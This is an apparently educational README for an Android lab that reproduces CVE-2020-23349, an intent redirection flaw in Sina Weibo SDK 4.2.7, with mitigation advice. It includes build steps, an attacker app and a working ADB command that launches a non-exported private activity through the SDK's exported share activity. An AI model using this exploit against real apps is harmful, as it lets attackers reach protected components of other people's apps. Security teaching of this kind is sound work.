
Laboratório educacional de Android para CVE-2020-23349 no Sina Weibo SDK 4.2.7
Projeto educacional que reproduz localmente a vulnerabilidade de Intent Redirection do Sina Weibo Android SDK 4.2.7.
Use apenas em dispositivos de teste autorizados ou emuladores. Não use contra aplicativos reais de usuários.
victim: app vulnerável contendo o openDefault-4.2.7.aar realattacker: app atacante que chama a WbShareTransActivity exportadavictim/.../PrivateActivity: alvo da reprodução, com android:exported="false"O fluxo vulnerável é o seguinte:
Attacker 앱
-> exported WbShareTransActivity
-> Intent Extra의 startActivity/gotoActivity
-> victim의 PrivateActivity 실행
Requer Android SDK 36 e JDK 17.
./gradlew clean assembleDebug
Arquivos gerados:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity.EXPLOIT SUCCESS aparecer, a reprodução foi bem-sucedida.Você também pode reproduzir diretamente via ADB.
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
O SDK 4.2.7 confia nas strings startActivity e gotoActivity de um Intent externo e as usa da seguinte forma:
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
Como this é o Context do app Victim, o Android trata isso como se o app Victim estivesse executando sua própria Activity privada.
Em builds modernos do Android, android:exported deve ser declarado explicitamente; por isso, este projeto define explicitamente true em victim/AndroidManifest.xml para reproduzir o estado exported implícito de SDKs antigos.
Em exercícios que não precisam do recurso de compartilhamento, altere o valor a seguir para false e recompile.
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
Executar o mesmo ataque em seguida resultará em bloqueio por SecurityException. Em produtos reais, remova o Weibo SDK 4.x e atualize para a versão mantida mais recente.
O AAR incluído foi obtido do commit 4.2.7 do repositório público oficial do Sina Weibo.
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar